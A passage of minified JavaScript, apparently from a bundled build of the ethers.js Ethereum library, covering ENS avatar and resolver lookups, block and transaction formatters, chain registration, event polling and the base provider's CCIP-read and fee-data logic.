t=e.match(/^0x(e3010170|e5010172)(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/);if(t){const e="e3010170"===t[1]?"ipfs":"ipns",n=parseInt(t[4],16);if(t[5].length===2*n)return`${e}://${function(e){const t=w(e);let n=z(t),r="";for(;n;)r=So[Number(n%xo)]+r,n/=xo;for(let a=0;a<t.length&&!t[a];a++)r=So[0]+r;return r}("0x"+t[2])}`}const n=e.match(/^0xe40101fa011b20([0-9a-f]*)$/);if(n&&64===n[1].length)return`bzz://${n[1]}`;h(!1,"invalid or unsupported content hash data","UNSUPPORTED_OPERATION",{operation:"getContentHash()",info:{data:e}})}async getAvatar(){return(await this._getAvatar()).url}async _getAvatar(){const e=[{type:"name",value:this.name}];try{const n=await this.getText("avatar");if(null==n)return e.push({type:"!avatar",value:""}),{url:null,linkage:e};e.push({type:"avatar",value:n});for(let r=0;r<Oo.length;r++){const a=n.match(Oo[r]);if(null==a)continue;const i=a[1].toLowerCase();switch(i){case"https":case"data":return e.push({type:"url",value:n}),{linkage:e,url:n};case"ipfs":{const t=Po(n);return e.push({type:"ipfs",value:n}),e.push({type:"url",value:t}),{linkage:e,url:t}}case"erc721":case"erc1155":{const r="erc721"===i?"tokenURI(uint256)":"uri(uint256)";e.push({type:i,value:n});const s=await this.getAddress();if(null==s)return e.push({type:"!owner",value:""}),{url:null,linkage:e};const o=(a[2]||"").split("/");if(2!==o.length)return e.push({type:`!${i}caip`,value:a[2]||""}),{url:null,linkage:e};const l=o[1],u=new $r(o[0],["function tokenURI(uint) view returns (string)","function ownerOf(uint) view returns (address)","function uri(uint) view returns (string)","function balanceOf(address, uint256) view returns (uint)"],this.provider);if("erc721"===i){const t=await u.ownerOf(l);if(s!==t)return e.push({type:"!owner",value:t}),{url:null,linkage:e};e.push({type:"owner",value:t})}else if("erc1155"===i){const t=await u.balanceOf(s,l);if(!t)return e.push({type:"!balance",value:"0"}),{url:null,linkage:e};e.push({type:"balance",value:t.toString()})}let c=await u[r](l);if(null==c||"0x"===c)return e.push({type:"!metadata-url",value:""}),{url:null,linkage:e};e.push({type:"metadata-url-base",value:c}),"erc1155"===i&&(c=c.replace("{id}",H(l,32).substring(2)),e.push({type:"metadata-url-expanded",value:c})),c.match(/^ipfs:/i)&&(c=Po(c)),e.push({type:"metadata-url",value:c});let f={};const d=await new nr(c).send();d.assertOk();try{f=d.bodyJson}catch(t){try{e.push({type:"!metadata",value:d.bodyText})}catch(t){const n=d.body;return n&&e.push({type:"!metadata",value:S(n)}),{url:null,linkage:e}}return{url:null,linkage:e}}if(!f)return e.push({type:"!metadata",value:""}),{url:null,linkage:e};e.push({type:"metadata",value:JSON.stringify(f)});let h=f.image;if("string"!==typeof h)return e.push({type:"!imageUrl",value:""}),{url:null,linkage:e};if(h.match(/^(https:\/\/|data:)/i));else{if(null==h.match(No))return e.push({type:"!imageUrl-ipfs",value:h}),{url:null,linkage:e};e.push({type:"imageUrl-ipfs",value:h}),h=Po(h)}return e.push({type:"url",value:h}),{linkage:e,url:h}}}}}catch(t){}return{linkage:e,url:null}}static async getEnsAddress(e){const t=await e.getNetwork(),n=t.getPlugin("org.ethers.plugins.network.Ens");return h(n,"network does not support ENS","UNSUPPORTED_OPERATION",{operation:"getEnsAddress",info:{network:t}}),n.address}static async#Ee(e,t){const n=await To.getEnsAddress(e);try{const r=new $r(n,["function resolver(bytes32) view returns (address)"],e),a=await r.resolver(ci(t),{enableCcipRead:!0});return a===ir?null:a}catch(r){throw r}return null}static async fromName(e,t){let n=t;for(;;){if(""===n||"."===n)return null;if("eth"!==t&&"eth"===n)return null;const r=await To.#Ee(e,n);if(null!=r){const a=new To(e,r,t);return n===t||await a.supportsWildcard()?a:null}n=n.split(".").slice(1).join(".")}}}const Ro=BigInt(0);function Io(e,t){return function(n){return null==n?t:e(n)}}function Bo(e,t){return n=>{if(t&&null==n)return null;if(!Array.isArray(n))throw new Error("not an array");return n.map((t=>e(t)))}}function Fo(e,t){return n=>{const r={};for(const i in e){let s=i;if(t&&i in t&&!(s in n))for(const e of t[i])if(e in n){s=e;break}try{const t=e[i](n[s]);void 0!==t&&(r[i]=t)}catch(a){h(!1,`invalid value for value.${i} (${a instanceof Error?a.message:"not-an-error"})`,"BAD_DATA",{value:n})}}return r}}function Lo(e){return p(A(e,!0),"invalid data","value",e),e}function Do(e){return p(A(e,32),"invalid hash","value",e),e}const Uo=Fo({address:Xe,blockHash:Do,blockNumber:_,data:Lo,index:_,removed:Io((function(e){switch(e){case!0:case"true":return!0;case!1:case"false":return!1}p(!1,`invalid boolean; ${JSON.stringify(e)}`,"value",e)}),!1),topics:Bo(Do),transactionHash:Do,transactionIndex:_},{index:["logIndex"]});const Mo=Fo({hash:Io(Do),parentHash:Do,parentBeaconBlockRoot:Io(Do,null),number:_,timestamp:_,nonce:Io(Lo),difficulty:D,gasLimit:D,gasUsed:D,stateRoot:Io(Do,null),receiptsRoot:Io(Do,null),blobGasUsed:Io(D,null),excessBlobGas:Io(D,null),miner:Io(Xe),prevRandao:Io(Do,null),extraData:Lo,baseFeePerGas:Io(D)},{prevRandao:["mixHash"]});const zo=Fo({transactionIndex:_,blockNumber:_,transactionHash:Do,address:Xe,topics:Bo(Do),data:Lo,index:_,blockHash:Do},{index:["logIndex"]});const _o=Fo({to:Io(Xe,null),from:Io(Xe,null),contractAddress:Io(Xe,null),index:_,root:Io(S),gasUsed:D,blobGasUsed:Io(D,null),logsBloom:Io(Lo),blockHash:Do,hash:Do,logs:Bo((function(e){return zo(e)})),blockNumber:_,cumulativeGasUsed:D,effectiveGasPrice:Io(D),blobGasPrice:Io(D,null),status:Io(_),type:Io(_,0)},{effectiveGasPrice:["gasPrice"],hash:["transactionHash"],index:["transactionIndex"]});function Ho(e){e.to&&D(e.to)===Ro&&(e.to="0x0000000000000000000000000000000000000000");const t=Fo({hash:Do,index:Io(_,void 0),type:e=>"0x"===e||null==e?0:_(e),accessList:Io(Qn,null),blobVersionedHashes:Io(Bo(Do,!0),null),blockHash:Io(Do,null),blockNumber:Io(_,null),transactionIndex:Io(_,null),from:Xe,gasPrice:Io(D),maxPriorityFeePerGas:Io(D),maxFeePerGas:Io(D),maxFeePerBlobGas:Io(D,null),gasLimit:D,to:Io(Xe,null),value:D,nonce:_,data:Lo,creates:Io(Xe,null),chainId:Io(D,null)},{data:["input"],gasLimit:["gas"],index:["transactionIndex"]})(e);if(null==t.to&&null==t.creates&&(t.creates=function(e){const t=Xe(e.from);let n=D(e.nonce,"tx.nonce").toString(16);return n="0"===n?"0x":n.length%2?"0x0"+n:"0x"+n,Xe(C(Ve(ao([t,n])),12))}(t)),1!==e.type&&2!==e.type||null!=e.accessList||(t.accessList=[]),e.signature?t.signature=Vi.from(e.signature):t.signature=Vi.from(e),null==t.chainId){const e=t.signature.legacyChainId;null!=e&&(t.chainId=e)}return t.blockHash&&D(t.blockHash)===Ro&&(t.blockHash=null),t}class jo{name;constructor(e){l(this,{name:e})}clone(){return new jo(this.name)}}class Go extends jo{effectiveBlock;txBase;txCreate;txDataZero;txDataNonzero;txAccessListStorageKey;txAccessListAddress;constructor(e,t){null==e&&(e=0),super(`org.ethers.network.plugins.GasCost#${e||0}`);const n={effectiveBlock:e};function r(e,r){let a=(t||{})[e];null==a&&(a=r),p("number"===typeof a,`invalud value for ${e}`,"costs",t),n[e]=a}r("txBase",21e3),r("txCreate",32e3),r("txDataZero",4),r("txDataNonzero",16),r("txAccessListStorageKey",1900),r("txAccessListAddress",2400),l(this,n)}clone(){return new Go(this.effectiveBlock,this)}}class Qo extends jo{address;targetNetwork;constructor(e,t){super("org.ethers.plugins.network.Ens"),l(this,{address:e||"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e",targetNetwork:null==t?1:t})}clone(){return new Qo(this.address,this.targetNetwork)}}class Vo extends jo{#P;#Se;get url(){return this.#P}get processFunc(){return this.#Se}constructor(e,t){super("org.ethers.plugins.network.FetchUrlFeeDataPlugin"),this.#P=e,this.#Se=t}clone(){return this}}const Jo=new Map;class qo{#xe;#de;#Pe;constructor(e,t){this.#xe=e,this.#de=D(t),this.#Pe=new Map}toJSON(){return{name:this.name,chainId:String(this.chainId)}}get name(){return this.#xe}set name(e){this.#xe=e}get chainId(){return this.#de}set chainId(e){this.#de=D(e,"chainId")}matches(e){if(null==e)return!1;if("string"===typeof e){try{return this.chainId===D(e)}catch(t){}return this.name===e}if("number"===typeof e||"bigint"===typeof e){try{return this.chainId===D(e)}catch(t){}return!1}if("object"===typeof e){if(null!=e.chainId){try{return this.chainId===D(e.chainId)}catch(t){}return!1}return null!=e.name&&this.name===e.name}return!1}get plugins(){return Array.from(this.#Pe.values())}attachPlugin(e){if(this.#Pe.get(e.name))throw new Error(`cannot replace existing plugin: ${e.name} `);return this.#Pe.set(e.name,e.clone()),this}getPlugin(e){return this.#Pe.get(e)||null}getPlugins(e){return this.plugins.filter((t=>t.name.split("#")[0]===e))}clone(){const e=new qo(this.name,this.chainId);return this.plugins.forEach((t=>{e.attachPlugin(t.clone())})),e}computeIntrinsicGas(e){const t=this.getPlugin("org.ethers.plugins.network.GasCost")||new Go;let n=t.txBase;if(null==e.to&&(n+=t.txCreate),e.data)for(let r=2;r<e.data.length;r+=2)"00"===e.data.substring(r,r+2)?n+=t.txDataZero:n+=t.txDataNonzero;if(e.accessList){const r=Qn(e.accessList);for(const e in r)n+=t.txAccessListAddress+t.txAccessListStorageKey*r[e].storageKeys.length}return n}static from(e){if(function(){if(Yo)return;function e(e,t,n){const r=function(){const r=new qo(e,t);return null!=n.ensNetwork&&r.attachPlugin(new Qo(null,n.ensNetwork)),r.attachPlugin(new Go),(n.plugins||[]).forEach((e=>{r.attachPlugin(e)})),r};qo.register(e,r),qo.register(t,r),n.altNames&&n.altNames.forEach((e=>{qo.register(e,r)}))}Yo=!0,e("mainnet",1,{ensNetwork:1,altNames:["homestead"]}),e("ropsten",3,{ensNetwork:3}),e("rinkeby",4,{ensNetwork:4}),e("goerli",5,{ensNetwork:5}),e("kovan",42,{ensNetwork:42}),e("sepolia",11155111,{ensNetwork:11155111}),e("holesky",17e3,{ensNetwork:17e3}),e("classic",61,{}),e("classicKotti",6,{}),e("arbitrum",42161,{ensNetwork:1}),e("arbitrum-goerli",421613,{}),e("arbitrum-sepolia",421614,{}),e("base",8453,{ensNetwork:1}),e("base-goerli",84531,{}),e("base-sepolia",84532,{}),e("bnb",56,{ensNetwork:1}),e("bnbt",97,{}),e("linea",59144,{ensNetwork:1}),e("linea-goerli",59140,{}),e("linea-sepolia",59141,{}),e("matic",137,{ensNetwork:1,plugins:[Wo("https://gasstation.polygon.technology/v2")]}),e("matic-amoy",80002,{}),e("matic-mumbai",80001,{altNames:["maticMumbai","maticmum"],plugins:[Wo("https://gasstation-testnet.polygon.technology/v2")]}),e("optimism",10,{ensNetwork:1,plugins:[]}),e("optimism-goerli",420,{}),e("optimism-sepolia",11155420,{}),e("xdai",100,{ensNetwork:1})}(),null==e)return qo.from("mainnet");if("number"===typeof e&&(e=BigInt(e)),"string"===typeof e||"bigint"===typeof e){const t=Jo.get(e);if(t)return t();if("bigint"===typeof e)return new qo("unknown",e);p(!1,"unknown network","network",e)}if("function"===typeof e.clone){return e.clone()}if("object"===typeof e){p("string"===typeof e.name&&"number"===typeof e.chainId,"invalid network object name or chainId","network",e);const t=new qo(e.name,e.chainId);return(e.ensAddress||null!=e.ensNetwork)&&t.attachPlugin(new Qo(e.ensAddress,e.ensNetwork)),t}p(!1,"invalid network","network",e)}static register(e,t){"number"===typeof e&&(e=BigInt(e));const n=Jo.get(e);n&&p(!1,`conflicting network for ${JSON.stringify(n.name)}`,"nameOrChainId",e),Jo.set(e,t)}}function Ko(e,t){const n=String(e);if(!n.match(/^[0-9.]+$/))throw new Error(`invalid gwei value: ${e}`);const r=n.split(".");if(1===r.length&&r.push(""),2!==r.length)throw new Error(`invalid gwei value: ${e}`);for(;r[1].length<t;)r[1]+="0";if(r[1].length>9){let e=BigInt(r[1].substring(0,9));r[1].substring(9).match(/^0+$/)||e++,r[1]=e.toString()}return BigInt(r[0]+r[1])}function Wo(e){return new Vo(e,(async(e,t,n)=>{let r;n.setHeader("User-Agent","ethers");try{const[t,a]=await Promise.all([n.send(),e()]);r=t;const i=r.bodyJson.standard;return{gasPrice:a.gasPrice,maxFeePerGas:Ko(i.maxFee,9),maxPriorityFeePerGas:Ko(i.maxPriorityFee,9)}}catch(a){h(!1,`error encountered with polygon gas station (${JSON.stringify(n.url)})`,"SERVER_ERROR",{request:n,response:r,error:a})}}))}let Yo=!1;function Zo(e){return JSON.parse(JSON.stringify(e))}class Xo{#Ce;#Ne;#Oe;#Te;constructor(e){this.#Ce=e,this.#Ne=null,this.#Oe=4e3,this.#Te=-2}get pollingInterval(){return this.#Oe}set pollingInterval(e){this.#Oe=e}async#Re(){try{const e=await this.#Ce.getBlockNumber();if(-2===this.#Te)return void(this.#Te=e);if(e!==this.#Te){for(let t=this.#Te+1;t<=e;t++){if(null==this.#Ne)return;await this.#Ce.emit("block",t)}this.#Te=e}}catch(e){}null!=this.#Ne&&(this.#Ne=this.#Ce._setTimeout(this.#Re.bind(this),this.#Oe))}start(){this.#Ne||(this.#Ne=this.#Ce._setTimeout(this.#Re.bind(this),this.#Oe),this.#Re())}stop(){this.#Ne&&(this.#Ce._clearTimeout(this.#Ne),this.#Ne=null)}pause(e){this.stop(),e&&(this.#Te=-2)}resume(){this.start()}}class $o{#Ce;#Re;#Ie;constructor(e){this.#Ce=e,this.#Ie=!1,this.#Re=e=>{this._poll(e,this.#Ce)}}async _poll(e,t){throw new Error("sub-classes must override this")}start(){this.#Ie||(this.#Ie=!0,this.#Re(-2),this.#Ce.on("block",this.#Re))}stop(){this.#Ie&&(this.#Ie=!1,this.#Ce.off("block",this.#Re))}pause(e){this.stop()}resume(){this.start()}}class el extends $o{#Be;#Fe;constructor(e,t){super(e),this.#Be=t,this.#Fe=-2}pause(e){e&&(this.#Fe=-2),super.pause(e)}async _poll(e,t){const n=await t.getBlock(this.#Be);null!=n&&(-2===this.#Fe?this.#Fe=n.number:n.number>this.#Fe&&(t.emit(this.#Be,n.number),this.#Fe=n.number))}}class tl extends $o{#X;constructor(e,t){super(e),this.#X=Zo(t)}async _poll(e,t){throw new Error("@TODO")}}class nl extends $o{#Le;constructor(e,t){super(e),this.#Le=t}async _poll(e,t){const n=await t.getTransactionReceipt(this.#Le);n&&t.emit(this.#Le,n)}}class rl{#Ce;#X;#Ne;#Ie;#Te;constructor(e,t){this.#Ce=e,this.#X=Zo(t),this.#Ne=this.#Re.bind(this),this.#Ie=!1,this.#Te=-2}async#Re(e){if(-2===this.#Te)return;const t=Zo(this.#X);t.fromBlock=this.#Te+1,t.toBlock=e;const n=await this.#Ce.getLogs(t);if(0!==n.length)for(const r of n)this.#Ce.emit(this.#X,r),this.#Te=r.blockNumber;else this.#Te<e-60&&(this.#Te=e-60)}start(){this.#Ie||(this.#Ie=!0,-2===this.#Te&&this.#Ce.getBlockNumber().then((e=>{this.#Te=e})),this.#Ce.on("block",this.#Ne))}stop(){this.#Ie&&(this.#Ie=!1,this.#Ce.off("block",this.#Ne))}pause(e){this.stop(),e&&(this.#Te=-2)}resume(){this.start()}}const al=BigInt(2);function il(e){return e&&"function"===typeof e.then}function sl(e,t){return e+":"+JSON.stringify(t,((e,t)=>{if(null==t)return"null";if("bigint"===typeof t)return`bigint:${t.toString()}`;if("string"===typeof t)return t.toLowerCase();if("object"===typeof t&&!Array.isArray(t)){const e=Object.keys(t);return e.sort(),e.reduce(((e,n)=>(e[n]=t[n],e)),{})}return t}))}class ol{name;constructor(e){l(this,{name:e})}start(){}stop(){}pause(e){}resume(){}}function ll(e){return(e=Array.from(new Set(e).values())).sort(),e}async function ul(e,t){if(null==e)throw new Error("invalid event");if(Array.isArray(e)&&(e={topics:e}),"string"===typeof e)switch(e){case"block":case"debug":case"error":case"finalized":case"network":case"pending":case"safe":return{type:e,tag:e}}if(A(e,32)){const t=e.toLowerCase();return{type:"transaction",tag:sl("tx",{hash:t}),hash:t}}if(e.orphan){const t=e;return{type:"orphan",tag:sl("orphan",t),filter:(n=t,JSON.parse(JSON.stringify(n)))}}var n;if(e.address||e.topics){const n=e,r={topics:(n.topics||[]).map((e=>null==e?null:Array.isArray(e)?ll(e.map((e=>e.toLowerCase()))):e.toLowerCase()))};if(n.address){const e=[],a=[],i=n=>{A(n)?e.push(n):a.push((async()=>{e.push(await Cn(n,t))})())};Array.isArray(n.address)?n.address.forEach(i):i(n.address),a.length&&await Promise.all(a),r.address=ll(e.map((e=>e.toLowerCase())))}return{filter:r,tag:sl("event",r),type:"event"}}p(!1,"unknown ProviderEvent","event",e)}function cl(){return(new Date).getTime()}const fl={cacheTimeout:250,pollingInterval:4e3};class dl{#De;#Pe;#Ue;#Me;#ze;#_e;#He;#je;#Ge;#Qe;#Ve;#c;constructor(e,t){if(this.#c=Object.assign({},fl,t||{}),"any"===e)this.#_e=!0,this.#ze=null;else if(e){const t=qo.from(e);this.#_e=!1,this.#ze=Promise.resolve(t),setTimeout((()=>{this.emit("network",t,null)}),0)}else this.#_e=!1,this.#ze=null;this.#je=-1,this.#He=new Map,this.#De=new Map,this.#Pe=new Map,this.#Ue=null,this.#Me=!1,this.#Ge=1,this.#Qe=new Map,this.#Ve=!1}get pollingInterval(){return this.#c.pollingInterval}get provider(){return this}get plugins(){return Array.from(this.#Pe.values())}attachPlugin(e){if(this.#Pe.get(e.name))throw new Error(`cannot replace existing plugin: ${e.name} `);return this.#Pe.set(e.name,e.connect(this)),this}getPlugin(e){return this.#Pe.get(e)||null}get disableCcipRead(){return this.#Ve}set disableCcipRead(e){this.#Ve=!!e}async#Je(e){const t=this.#c.cacheTimeout;if(t<0)return await this._perform(e);const n=sl(e.method,e);let r=this.#He.get(n);return r||(r=this._perform(e),this.#He.set(n,r),setTimeout((()=>{this.#He.get(n)===r&&this.#He.delete(n)}),t)),await r}async ccipReadFetch(e,t,n){if(this.disableCcipRead||0===n.length||null==e.to)return null;const r=e.to.toLowerCase(),a=t.toLowerCase(),i=[];for(let o=0;o<n.length;o++){const t=n[o],l=t.replace("{sender}",r).replace("{data}",a),u=new nr(l);-1===t.indexOf("{data}")&&(u.body={data:a,sender:r}),this.emit("debug",{action:"sendCcipReadFetchRequest",request:u,index:o,urls:n});let c,f="unknown error";try{c=await u.send()}catch(s){i.push(s.message),this.emit("debug",{action:"receiveCcipReadFetchError",request:u,result:{error:s}});continue}try{const e=c.bodyJson;if(e.data)return this.emit("debug",{action:"receiveCcipReadFetchResult",request:u,result:e}),e.data;e.message&&(f=e.message),this.emit("debug",{action:"receiveCcipReadFetchError",request:u,result:e})}catch(s){}h(c.statusCode<400||c.statusCode>=500,`response not found during CCIP fetch: ${f}`,"OFFCHAIN_FAULT",{reason:"404_MISSING_RESOURCE",transaction:e,info:{url:t,errorMessage:f}}),i.push(f)}h(!1,`error encountered during CCIP fetch: ${i.map((e=>JSON.stringify(e))).join(", ")}`,"OFFCHAIN_FAULT",{reason:"500_SERVER_ERROR",transaction:e,info:{urls:n,errorMessages:i}})}_wrapBlock(e,t){return new br(function(e){const t=Mo(e);return t.transactions=e.transactions.map((e=>"string"===typeof e?e:Ho(e))),t}(e),this)}_wrapLog(e,t){return new wr(function(e){return Uo(e)}(e),this)}_wrapTransactionReceipt(e,t){return new vr(function(e){return _o(e)}(e),this)}_wrapTransactionResponse(e,t){return new Ar(Ho(e),this)}_detectNetwork(){h(!1,"sub-classes must implement this","UNSUPPORTED_OPERATION",{operation:"_detectNetwork"})}async _perform(e){h(!1,`unsupported method: ${e.method}`,"UNSUPPORTED_OPERATION",{operation:e.method,info:e})}async getBlockNumber(){const e=_(await this.#Je({method:"getBlockNumber"}),"%response");return this.#je>=0&&(this.#je=e),e}_getAddress(e){return Cn(e,this)}_getBlockTag(e){if(null==e)return"latest";switch(e){case"earliest":return"0x0";case"finalized":case"latest":case"pending":case"safe":return e}return A(e)?A(e,32)?e:G(e):("bigint"===typeof e&&(e=_(e,"blockTag")),"number"===typeof e?e>=0?G(e):this.#je>=0?G(this.#je+e):this.getBlockNumber().then((t=>G(t+e))):void p(!1,"invalid blockTag","blockTag",e))}_getFilter(e){const t=(e.topics||[]).map((e=>null==e?null:Array.isArray(e)?ll(e.map((e=>e.toLowerCase()))):e.toLowerCase())),n="blockHash"in e?e.blockHash:void 0,r=(e,r,a)=>{let i;switch(e.length){case 0:break;case 1:i=e[0];break;default:e.sort(),i=e}if(n&&(null!=r||null!=a))throw new Error("invalid filter");const s={};return i&&(s.address=i),t.length&&(s.topics=t),r&&(s.fromBlock=r),a&&(s.toBlock=a),n&&(s.blockHash=n),s};let a,i,s=[];if(e.address)if(Array.isArray(e.address))for(const o of e.address)s.push(this._getAddress(o));else s.push(this._getAddress(e.address));return"fromBlock"in e&&(a=this._getBlockTag(e.fromBlock)),"toBlock"in e&&(i=this._getBlockTag(e.toBlock)),s.filter((e=>"string"!==typeof e)).length||null!=a&&"string"!==typeof a||null!=i&&"string"!==typeof i?Promise.all([Promise.all(s),a,i]).then((e=>r(e[0],e[1],e[2]))):r(s,a,i)}_getTransactionRequest(e){const t=yr(e),n=[];if(["to","from"].forEach((e=>{if(null==t[e])return;const r=Cn(t[e],this);il(r)?n.push(async function(){t[e]=await r}()):t[e]=r})),null!=t.blockTag){const e=this._getBlockTag(t.blockTag);il(e)?n.push(async function(){t.blockTag=await e}()):t.blockTag=e}return n.length?async function(){return await Promise.all(n),t}():t}async getNetwork(){if(null==this.#ze){const e=(async()=>{try{const e=await this._detectNetwork();return this.emit("network",e,null),e}catch(t){throw this.#ze===e&&(this.#ze=null),t}})();return this.#ze=e,(await e).clone()}const e=this.#ze,[t,n]=await Promise.all([e,this._detectNetwork()]);return t.chainId!==n.chainId&&(this.#_e?(this.emit("network",n,t),this.#ze===e&&(this.#ze=Promise.resolve(n))):h(!1,`network changed: ${t.chainId} => ${n.chainId} `,"NETWORK_ERROR",{event:"changed"})),t.clone()}async getFeeData(){const e=await this.getNetwork(),t=async()=>{const{_block:t,gasPrice:n,priorityFee:r}=await o({_block:this.#qe("latest",!1),gasPrice:(async()=>{try{return D(await this.#Je({method:"getGasPrice"}),"%response")}catch(e){}return null})(),priorityFee:(async()=>{try{return D(await this.#Je({method:"getPriorityFee"}),"%response")}catch(e){}return null})()});let a=null,i=null;const s=this._wrapBlock(t,e);return s&&s.baseFeePerGas&&(i=null!=r?r:BigInt("1000000000"),a=s.baseFeePerGas*al+i),new mr(n,a,i)},n=e.getPlugin("org.ethers.plugins.network.FetchUrlFeeDataPlugin");if(n){const e=new nr(n.url),r=await n.processFunc(t,this,e);return new mr(r.gasPrice,r.maxFeePerGas,r.maxPriorityFeePerGas)}return await t()}async estimateGas(e){let t=this._getTransactionRequest(e);return il(t)&&(t=await t),D(await this.#Je({method:"estimateGas",transaction:t}),"%response")}async#Ke(e,t,n){h(n<10,"CCIP read exceeded maximum redirections","OFFCHAIN_FAULT",{reason:"TOO_MANY_REDIRECTS",transaction:Object.assign({},e,{blockTag:t,enableCcipRead:!0})});const r=yr(e);try{return S(await this._perform({method:"call",transaction:r,blockTag:t}))}catch(a){if(!this.disableCcipRead&&f(a)&&a.data&&n>=0&&"latest"===t&&null!=r.to&&"0x556f1830"===C(a.data,0,4)){const e=a.data,i=await Cn(r.to,this);let s;try{s=function(e){const t={sender:"",urls:[],calldata:"",selector:"",extraData:"",errorArgs:[]};h(P(e)>=160,"insufficient OffchainLookup data","OFFCHAIN_FAULT",{reason:"insufficient OffchainLookup data"});const n=C(e,0,32);h(C(n,0,12)===C(wl,0,12),"corrupt OffchainLookup sender","OFFCHAIN_FAULT",{reason:"corrupt OffchainLookup sender"}),t.sender=C(n,12);try{const n=[],r=_(C(e,32,64)),a=_(C(e,r,r+32)),i=C(e,r+32);for(let e=0;e<a;e++){const t=hl(i,32*e);if(null==t)throw new Error("abort");n.push(t)}t.urls=n}catch(a){h(!1,"corrupt OffchainLookup urls","OFFCHAIN_FAULT",{reason:"corrupt OffchainLookup urls"})}try{const n=pl(e,64);if(null==n)throw new Error("abort");t.calldata=n}catch(a){h(!1,"corrupt OffchainLookup calldata","OFFCHAIN_FAULT",{reason:"corrupt OffchainLookup calldata"})}h(C(e,100,128)===C(wl,0,28),"corrupt OffchainLookup callbaackSelector","OFFCHAIN_FAULT",{reason:"corrupt OffchainLookup callbaackSelector"}),t.selector=C(e,96,100);try{const n=pl(e,128);if(null==n)throw new Error("abort");t.extraData=n}catch(a){h(!1,"corrupt OffchainLookup extraData","OFFCHAIN_FAULT",{reason:"corrupt OffchainLookup extraData"})}return t.errorArgs="sender,urls,calldata,selector,extraData".split(/,/).map((e=>t[e])),t}(C(a.data,4))}catch(a){h(!1,a.message,"OFFCHAIN_FAULT",{reason:"BAD_DATA",transaction:r,info:{data:e}})}h(s.sender.toLowerCase()===i.toLowerCase(),"CCIP Read sender mismatch","CALL_EXCEPTION",{action:"call",data:e,reason:"OffchainLookup",transaction:r,invocation:null,revert:{signature:"OffchainLookup(address,string[],bytes,bytes4,bytes)",name:"OffchainLookup",args:s.errorArgs}});const o=await this.ccipReadFetch(r,s.calldata,s.urls);h(null!=o,"CCIP Read failed to fetch data","OFFCHAIN_FAULT",{reason:"FETCH_FAILED",transaction:r,info:{data:a.data,errorArgs:s.errorArgs}});const l={to:i,data:x([s.selector,bl([o,s.extraData])])};this.emit("debug",{action:"sendCcipReadCall",transaction:l});try{const e=await this.#Ke(l,t,n+1);return this.emit("debug",{action:"receiveCcipReadCallResult",transaction:Object.assign({},l),result:e}),e}catch(a){throw this.emit("debug",{action:"receiveCcipReadCallError",transaction:Object.assign({},l),error:a}),a}}throw a}}async#We(e){const{value:t}=await o({network:this.getNetwork(),value:e});return t}async call(e){const{tx:t,blockTag:n}=await o({tx:this._getTransactionRequest(e),blockTag:this._getBlockTag(e.blockTag)});return await this.#We(this.#Ke(t,n,e.enableCcipRead?0:-1))}async#Ye(e,t,n){let r=this._getAddress(t),a=this._getBlockTag(n);return"string"===typeof r&&"string"===typeof a||([r,a]=await Promise.all([r,a])),await this.#We(this.#Je(Object.assign(e,{address:r,blockTag:a})))}async getBalance(e,t){return D(await this.#Ye({method:"getBalance"},e,t),"%response")}async getTransactionCount(e,t){return _(await this.#Ye({method:"getTransactionCount"},e,t),"%response")}async getCode(e,t){return S(await this.#Ye({method:"getCode"},e,t))}async getStorage(e,t,n){const r=D(t,"position");return S(await this.#Ye({method:"getStorage",position:r},e,n))}async broadcastTransaction(e){const{blockNumber:t,hash:n,network:r}=await o({blockNumber:this.getBlockNumber(),hash:this._perform({method:"broadcastTransaction",signedTransaction:e}),network:this.getNetwork()}),a=Eo.from(e);if(a.hash!==n)throw new Error("@TODO: the returned hash did not match");return this._wrapTransactionResponse(a,r).replaceableTransaction(t)}async#qe(e,t){if(A(e,32))return await this.#Je({method:"getBlock",blockHash:e,includeTransactions:t});let n=this._getBlockTag(e);return"string"!==typeof n&&(n=await n),await this.#Je({method:"getBlock",blockTag:n,includeTransactions:t})}async getBlock(e,t){const{network:n,params:r}=await o({network:this.getNetwork(),params:this.#qe(e,!!t)});return null==r?null:this._wrapBlock(r,n)}async getTransaction(e){const{network:t,params:n}=await o({network:this.getNetwork(),params:this.#Je({method:"getTransaction",hash:e})});return null==n?null:this._wrapTransactionResponse(n,t)}async getTransactionReceipt(e){const{network:t,params:n}=await o({network:this.getNetwork(),params:this.#Je({method:"getTransactionReceipt",hash:e})});if(null==n)return null;if(null==n.gasPrice&&null==n.effectiveGasPrice){const t=await this.#Je({method:"getTransaction",hash:e});if(null==t)throw new Error("report this; could not find tx or effectiveGasPrice");n.effectiveGasPrice=t.gasPrice}return this._wrapTransactionReceipt(n,t)}async getTransactionResult(e){const{result:t}=await o({network:this.getNetwork(),result:this.#Je({method:"getTransactionResult",hash:e})});return null==t?null:S(t)}async getLogs(e){let t=this._getFilter(e);il(t)&&(t=await t);const{network:n,params:r}=await o({network:this.getNetwork(),params:this.#Je({method:"getLogs",filter:t})});return r.map((e=>this._wrapLog(e,n)))}_getProvider(e){h(!1,"provider cannot connect to target network","UNSUPPORTED_OPERATION",{operation:"_getProvider()"})}async getResolver(e){return await To.fromName(this,e)}async getAvatar(e){const t=await this.getResolver(e);return t?await t.getAvatar():null}async resolveName(e){const t=await this.getResolver(e);return t?await t.getAddress():null}async lookupAddress(e){const t=ci((e=Xe(e)).substring(2).toLowerCase()+".addr.reverse");try{const n=await To.getEnsAddress(this),r=new $r(n,["function resolver(bytes32) view returns (address)"],this),a=await r.resolver(t);if(null==a||a===ir)return null;const i=new $r(a,["function name(bytes32) view returns (string)"],this),s=await i.name(t);return await this.resolveName(s)!==e?null:s}catch(n){if(c(n,"BAD_DATA")&&"0x"===n.value)return null;if(c(n,"CALL_EXCEPTION"))return null;throw n}return null}async waitForTransaction(e,t,n){const r=null!=t?t:1;return 0===r?this.getTransactionReceipt(e):new Promise((async(t,a)=>{let i=null;const s=async n=>{try{const a=await this.getTransactionReceipt(e);if(null!=a&&n-a.blockNumber+1>=r)return t(a),void(i&&(clearTimeout(i),i=null))}catch(a){console.log("EEE",a)}this.once("block",s)};null!=n&&(i=setTimeout((()=>{null!=i&&(i=null,this.off("block",s),a(d("timeout","TIMEOUT",{reason:"timeout"})))}),n)),s(await this.getBlockNumber())}))}async waitForBlock(e){h(!1,"not implemented yet","NOT_IMPLEMENTED",{operation:"waitForBlock"})}_clearTimeout(e){const t=this.#Qe.get(e);t&&(t.timer&&clearTimeout(t.timer),this.#Qe.delete(e))}_setTimeout(e,t){null==t&&(t=0);const 